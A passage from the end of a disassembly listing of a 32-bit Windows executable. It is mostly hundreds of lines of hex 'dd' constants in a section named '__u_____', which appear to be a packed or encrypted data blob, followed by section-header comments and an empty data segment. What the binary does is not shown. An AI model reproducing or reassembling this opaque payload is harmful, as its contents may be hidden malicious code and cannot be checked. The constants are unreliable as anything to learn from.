		dd 3B16D4ECh, 410A551h,	54BC146Ch, 0D991650Ch, 27A47A91h
		dd 6E01FE14h, 0A3C54C0h, 2E9C6727h, 0FDF65105h,	4953740Ch
		dd 64FC083Dh, 43CB40Ch,	3BAD7341h, 0DC420F27h, 4936ACE5h
		dd 841C68A6h, 2E7F786Ch, 4109E71h, 4D57BA6Ch, 0C4453E99h
		dd 2E3DDEACh, 84857EF1h, 34D73AECh, 0AD613634h,	8E7C1400h
		dd 0D80DF9A3h, 64BF14ACh, 885BB50Ch, 0A4FC5433h, 0CF40DBD4h
		dd 0B5B91FD2h, 5DC74A0h, 247CD43Dh, 0C45DEBCEh,	79BF146Ch
		dd 0E8836C11h, 0FC974233h, 449CF44Ch, 0EAB1FF12h, 0E957EC72h
		dd 0C8243FD2h, 6F220333h, 0CF22543Fh, 184D3963h, 0A4FC546Ch
		dd 8451F54Ch, 0B86D1983h, 84DC344Ch, 0A70DC2Ch,	30992C32h
		dd 38ED9903h, 45CB4CCh,	19FB56ACh, 0AABDFE0Dh, 0F9F51847h
		dd 0A8449A84h, 4F17FA30h, 6E1424BFh, 0BC222207h, 895E11B4h
		dd 0A4BC4887h, 47B79FB2h, 7BD6DD3Ch, 44D06511h,	247CD42Ch
		dd 54FC684Ch, 4D41FE73h, 455CF420h, 2DF96ECCh, 469C1844h
		dd 24707D51h, 8780F48Ch, 8F8098ACh, 2A76555Ch, 6E9C53B4h
		dd 0C450DDB1h, 0BB977AACh, 849025D1h, 0E43C74ECh, 0DB2FA88Ch
		dd 0E4B0C5B1h, 0C41C74CCh, 0FBB9C84Ch, 45CB753h, 0F40188ACh
		dd 17B79EBCh, 71B7DB67h, 841C6D0Eh, 0E5F59507h,	0CEE42498h
		dd 0A4F0FDF1h, 89135E0Ch, 0A4BC487Dh, 445CF44Ch, 3CA2A000h
		dd 9D6F73Ch, 243CC805h,	5CC27EA7h, 0C9B634FBh, 49CE825h
		dd 2973BF52h, 445C285Dh, 0E53C94EFh, 993A760h, 243CC8FDh
		dd 0E41C74CCh, 2BB32180h, 45CB40Fh, 14AC5940h, 0CFCF5FE6h
		dd 5EC11FABh, 0AFDC7495h, 40345D64h, 4953BDDFh,	64FC083Dh
		dd 4DCB40Ch, 29796241h,	445C2865h, 647C9C66h, 0DC0F37D5h
		dd 0E8B9D8A9h, 851C84F0h, 0EF6C1C0Ch, 0EA6297A7h, 4A3C45F4h
		dd 0D304DAE7h, 0E4E43C6Ch, 0E5DE348Ch, 8F443FD2h, 0CAD1BD51h
		dd 24ED8C92h, 47CC5FF2h, 8081E106h, 1B9CB460h, 24708571h
		dd 84DC348Ch, 0DB82091Ch, 0AFE4ECE7h, 4C0F9F55h, 3437AC27h
		dd 7D9EE127h, 0B99DF48Ch, 0E47C8D6Eh, 48576D8Dh, 81F5D810h
		dd 0C4DC8429h, 3D4291E7h, 8937B4CCh, 0A4BC4D2Eh, 588D7923h
		dd 0E47C942Ch, 8610348Ch, 6617AC43h, 0FBF274D0h, 3D5A91EFh
		dd 135CB4CCh, 0A4FD2D30h, 44995C4Ch, 297794ECh,	5021823Eh
		dd 0E89AC6FFh, 0A31C4008h, 0A4F19CE1h, 0A2E13D0Ch, 57FC9475h
		dd 4788CCC7h, 0CCAFD394h, 0ECD07707h, 43EB8A38h, 0DD820947h
		dd 670714ACh, 89D5C0CEh, 0A4BC4DEEh, 0CD94B64Fh, 2465DA71h
		dd 0AC0FBF8Ch, 24FC473Bh, 793474CCh, 0EFAB5302h, 0C4455A99h
		dd 0ED54AAACh, 0CFCB7322h, 2465FA61h, 8C16BF8Ch, 0F781E2Fh
		dd 0C935F78Ah, 651C9C6Bh, 885BB40Ch, 0A4FC5556h, 5DF6A94Fh
		dd 393F942Ch, 841C6D5Eh, 33D4D088h, 0C41C1651h,	6802A16Ch
		dd 1D8E3927h, 0AAFF546Ch, 1A225C7Ch, 41BFD37Bh,	841C6D32h
		dd 0FF77092Ch, 471B8013h, 64BC1557h, 7945C067h,	0A4BC4D12h
		dd 4599794Bh, 693F94ECh, 841C6D5Eh, 43A455D2h, 0A0A183F1h
		dd 0EFBC146Ch, 0C737B6CCh, 6D54A480h, 5DCB7322h, 2465FA39h
		dd 0E861438Ch, 277CD42Ch, 4051E51h, 7641176Ch, 8F5CF415h
		dd 0B0C33FACh, 44D9764Bh, 2B6794ECh, 0C85F4384h, 0A77CD42Ch
		dd 0B1F768Ch, 76411760h, 0B65CF415h, 2B1135Ch, 239CB455h
		dd 24715C61h, 0C4618E8Ch, 2433592Bh, 403574CCh,	40BC146Ch
		dd 78E1C35Bh, 24FC54ACh, 0C99B095Ah, 0E43C9467h, 0AFDD7A07h
		dd 4C4CC8EFh, 0A34BE974h, 3D629135h, 0DB91B4CCh, 7D96D9AFh
		dd 0C99FF48Ch, 0E47C8DFEh, 9D96B905h, 24F7D4ECh, 0DD5EF9D7h
		dd 6C2E14ACh, 1D223917h, 4DEE546Ch, 449CF459h, 8C7346FCh
		dd 84DC347Bh, 0AFE822A9h, 0C71E9F8Dh, 0E9E724AEh, 49CED46h
		dd 0E87F6041h, 0D38D733Ch, 5487830h, 139F4FE7h,	0E4A566B1h
		dd 599754CCh, 64FC0D7Eh, 63122A64h, 0A49575BBh,	991CF44Ch
		dd 0F0837FEAh, 4BC73D5Eh, 0FEE324h, 0D4BF39Bh, 26E996Bh
		dd 20D7B35Bh, 75A3D590h, 239CF470h, 8FABD37Bh, 0A816B598h
		dd 447CD4CCh, 4F5CA70Ah, 0E943F868h, 49CEDAAh, 8831CD29h
		dd 0C99FF44Ch, 0E47C8DFEh, 5241D972h, 0E67F9A07h, 0D0DE9FC0h
		dd 0CA7DA32h, 4AE3553h,	0A40154ACh, 8A15F44Ch, 0A78A7378h
		dd 9C1AE909h, 4352D4ECh, 4117041h, 3A4976Ch, 4C7380Bh
		dd 297554ACh, 445C2D7Eh, 83929406h, 44D1E801h, 33BC592Ch
		dd 0C41C1850h, 947CFF6Ch, 0B45F1EBCh, 0A4D45546h, 7ADCF44Ch
		dd 0B988297Bh, 0DC5F344Ch, 200E33Bh, 4D1C74D1h,	0A4E5EAF1h
		dd 0BED9410Ch, 31FC9475h, 8485D6C1h, 0E8E65ECh,	0F98B848Ch
		dd 243CC9B0h, 0D34BEC4Fh, 64C120F0h, 635C1E0Ch,	6425AA01h
		dd 0C431734Ch, 673C54C1h, 8DB33D4h, 247CD841h, 0DDB6F945h
		dd 2DEF14ACh, 0B4AD770Fh, 55007E5Dh, 5D72A91Bh,	592B942Ch
		dd 841C696Ch, 0A87B94B1h, 0C41C787Dh, 0E9355D3Fh, 49CEDEAh
		dd 4CCDA55Dh, 449BF43Bh, 44D1D31Ch, 9DC74A1h, 0AE00E36Ch
		dd 4D1C74D0h, 0A4E5C6F1h, 51C4770Ch, 2FFC5445h,	0C9D32C87h
		dd 0E47C88BDh, 74DC348Ch, 0A97FDAC1h, 0C4DC8429h, 25BF663Fh
		dd 6513A563h, 7DE6D925h, 5F04F48Ch, 6F3C94D0h, 9DF7047h
		dd 243CE4C9h, 851FC6DFh, 5B34503h, 1D923985h, 0B33F546Ch
		dd 1DA2BFE3h, 17B9898Fh, 47534374h, 0EDCCD720h,	0C7F4B527h
		dd 0A3E6951Ch, 5D7A1DE3h, 3E7F7140h, 244EF548h,	6F685F67h
		dd 46DF484Eh, 0EC40611Ch, 0E765EB9Bh, 8E410F2Dh, 475CF415h
		dd 9420A827h, 0C61B345Fh, 0E43C9434h, 0EF9BBFCFh, 0F2296127h
		dd 0A01C34D4h, 2DEF73E7h, 0D67DF0A8h, 3BE650B2h, 0EE7C204Eh
		dd 90B070B8h, 0C1106298h, 4C71D4F8h, 0C597BDAFh, 0A904D939h
		dd 2157280Ch, 0A4CE975Fh, 238F794Bh, 0E7B7D37Bh, 52158B99h
		dd 0A00E3EFh, 0E14BF39Bh, 0B211D7A3h, 6367380Bh, 5B2913BBh
		dd 538E278Fh, 832BA470h, 372C71DBh, 0A87B23E0h,	0A34BF3D1h
		dd 51946F3Fh, 130BB35Ah, 0C36A0C30h, 2CEE271Bh,	0E43C94E2h
		dd 0E38BA3E4h, 247C7C3Bh, 45E974CCh, 0A4DB9E09h, 7499D0Ch
		dd 0C3E054ACh, 96117F5Eh, 83C54B5h, 5025605h, 334621FAh
		dd 0C41F9A51h, 400A9F6Ch, 8582920Fh, 0B3C1A477h, 449F0AD1h
		dd 0DA7FCBECh, 84DC548Ch, 2775592Bh, 75274CCh, 0B2371698h
		dd 60E0C32Ch, 0C7FC54AEh, 45C57548h, 0F33C94EDh, 84DE2212h
		dd 42B97C2Ch, 461BF39Bh, 64BC160Fh, 76CFE87h, 0A4A46066h
		dd 759CF54Ch, 8316C284h
		dd 0B37164DBh, 757C1400h, 0D491A4ECh, 8EBCD440h, 0BC15B22Ch
		dd 0D8546834h, 0C9CB7326h, 0A6D0A39Eh, 0F9CD16BFh, 243CC8FDh
		dd 0CAB4D9A7h, 9DBC146Ch, 45CBAE4h, 0F854ACACh,	0CECB7326h
		dd 24707D71h, 0AE60BA8Ch, 243CC805h, 0D8F5F944h, 49E14ACh
		dd 184D3963h, 0A4F4546Ch, 4D51F44Ch, 0B857116Ch, 58DD344Ch
		dd 0F5018B71h, 0C71C34E0h, 78BD146Ch, 2DC934F7h, 0A9FC9480h
		dd 0E11CA4A0h, 0E47C88C6h, 443A891h, 0E4B0BF79h, 42D079CCh
		dd 38ED9903h, 45CB4CCh,	0ADF0D4ACh, 5875B1CCh, 0FB3E942Ch
		dd 3241B705h, 247C14F5h, 0A35003A4h, 17C3CFBh, 29F4B35Bh
		dd 2FFC54AEh, 8485EAB9h, 800ABCECh, 8DB33DBh, 247CD627h
		dd 0DDCE2947h, 0A23714ACh, 6C2AB718h, 0C36B11DBh, 45D1764Bh
		dd 2EBD94ECh, 84DC94B0h, 0D6EA5F4Ch, 0B8C67702h, 0FBCCCE6Fh
		dd 0C450E591h, 0A4FC54ACh, 0D19AE93Ch, 24709041h, 7159BF8Ch
		dd 377C141Ch, 0D3854B70h, 0F1BC1465h, 0C46CB4A1h, 0F5A107ACh
		dd 179E574Ch, 0B5C1CB50h, 84DC74A0h, 338CD42Ch,	0C41C1C50h
		dd 4C2F536Ch, 630D2364h, 0A91DFBBh, 0C99CB455h,	56C0A39Eh
		dd 0FDC348Ch, 0E4A50681h, 0B4D6FFCCh, 84E0DEEDh, 2FFCB40Ch
		dd 0A6EF5C66h, 969F3D5Fh, 11B98FE0h, 0FDC747Ch,	0E48C01A9h
		dd 4FF266CCh, 0C93FF838h, 49CC4E9h, 51A3D7ACh, 449CF44Ch
		dd 0E5344E67h, 0DBDF3C46h, 0A9F78BB3h, 0C4DCAD52h, 38ED9903h
		dd 49CB4CCh, 0A6F054ACh, 969F0C23h, 6D6C7DE8h, 44C5E221h
		dd 0C6F5F2Ch, 4953A4CDh, 64FC083Dh, 45CB4CCh, 9C735640h
		dd 20105C7Dh, 8F85D37Bh, 0AC0F3788h, 0D5780607h, 380E702h
		dd 4071A195h, 575CF420h, 0B3CAB310h, 0CB19865Dh, 0E43C959Eh
		dd 98BBC996h, 2A71D4ECh, 0FAC4C625h, 94342640h,	43189C5Bh
		dd 2FC613BBh, 8E9F0086h, 0B5C1CBDCh, 84DC74A0h,	0B18CD42Ch
		dd 0B7D17A0Dh, 3D5AA1E5h, 895FB4CCh, 0A4BC6449h, 44399BCFh
		dd 0CF3C94ECh, 198B5C4Fh, 243CCDBAh, 0C4EEFB45h, 0AA3B146Ch
		dd 15E1AB2Ch, 0A4FC9480h, 981CF44Ch, 0CB1466F3h, 3E8B33D5h
		dd 0FD1A61A7h, 0C73F740Ch, 0EFD4DFE5h, 89D7C4C6h, 0A4BC4D42h
		dd 9794BE55h, 0EC761DEFh, 7EC768Dh, 0AF7C2CCFh,	4056E51h
		dd 48E8BC6Ch, 0C65DB40Ch, 67FDADA4h, 73317E7Ch,	7B3C54C0h
		dd 44D06511h, 247CD42Ch, 0C72268BCh, 0A4CCC1E9h, 5B5C6A0Ch
		dd 64304531h, 469CF44Ch, 825049ECh, 95612BD2h, 247C1400h
		dd 191C78CCh, 34719E72h, 5B5CF420h, 64304531h, 445CF44Ch
		dd 6E3749ECh, 2E9E3693h, 3BDEAA2Eh, 0CB967DA7h,	6656563Eh
		dd 17139642h, 867778DEh, 7C9E83B0h, 0BD92116Fh,	93DC344Ch
		dd 43E75CB0h, 1691F39Bh, 3BCD435h, 0C4517881h, 52B113ACh
		dd 239CB455h, 24719061h, 3E59C18Ch, 0B17C14F5h,	4055641h
		dd 8E0EE56Ch, 0BAD1B30Ch, 0C3FC9475h, 8491ACC1h, 1AF1D3ECh
		dd 0E3DC7495h, 0E4B1D0A1h, 129101CCh, 3BCD434h,	0C44506A1h
		dd 196BAAACh, 445C29E0h, 0BD92F96Fh, 0C7DC344Ch, 247CD444h
		dd 0C5B651CCh, 37F541EDh, 54A4B4CCh, 248115ABh,	0C99CB441h
		dd 0ACBFD7ACh, 0C5DB24DBh, 0E49154B1h, 0B409B7CCh, 79BCFE6Ch
		dd 0E0DD1AF8h, 35D86090h, 2C3C07A1h, 832BD3B0h,	62743961h
		dd 4CEB9337h, 0A34BF37Eh, 51AB028Dh, 0F6500AD4h, 0A4FC39F4h
		dd 0E9B4D44Ch, 0F92BD37Bh, 0A820BF95h, 0F23161FCh, 4F1C34D4h
		dd 0E5221C9Ch, 0D75EBA16h, 0A4D4AA91h, 0CF9C734Ch, 163C3EB0h
		dd 0DC71333Ch, 0A77C1401h, 0E29D7C90h, 0A0EB1398h, 4ADFB7E1h
		dd 0BF17FCB0h, 0A3B4731Bh, 52BD37Bh, 8410ECCFh,	75D7D42Ch
		dd 0C41CA354h, 64CC3C6Ch, 241EB40Ch, 0A42CCCACh, 47B4F44Ch
		dd 0A63C94ECh, 385934B0h, 12B9E010h, 201CEC4Fh,	6494B455h
		dd 8F5CB40Ch, 612C3860h, 311D0EC7h, 0E47C88DFh,	0E3816DE4h
		dd 28BEF53Bh, 0CB1D7ACCh, 0B8C1166Fh, 0A244F84Dh, 0ECC9B3EBh
		dd 44B4F8E6h, 0B4DC9CB0h, 6D07B4B4h, 0B4B4C159h, 0E51A8E3Fh
		dd 0B6F441C4h, 0C8418A3Ah, 0FA796C7h, 110B3E77h, 0B46C0977h
		dd 0E7B4B434h, 0C3DE9F7Dh, 743977E5h, 0E081BC29h, 9D2D7439h
		dd 0C304C39Fh, 0B2D800B5h, 0BAF43F0Ch, 2DC49475h, 909C098Ch
		dd 45B3B3B3h, 0B3B38A9Ch, 3F75DFB3h, 35B8D820h,	0BAB8D820h
		dd 0E1B4B4A4h, 0B4B4B5B4h, 27h,	56h dup(0)
		dd 1280h dup(?)
__u_____	ends

; Section 3. (virtual address 0002F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0002A600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 42F000h
		align 2000h
_idata2		ends


		end start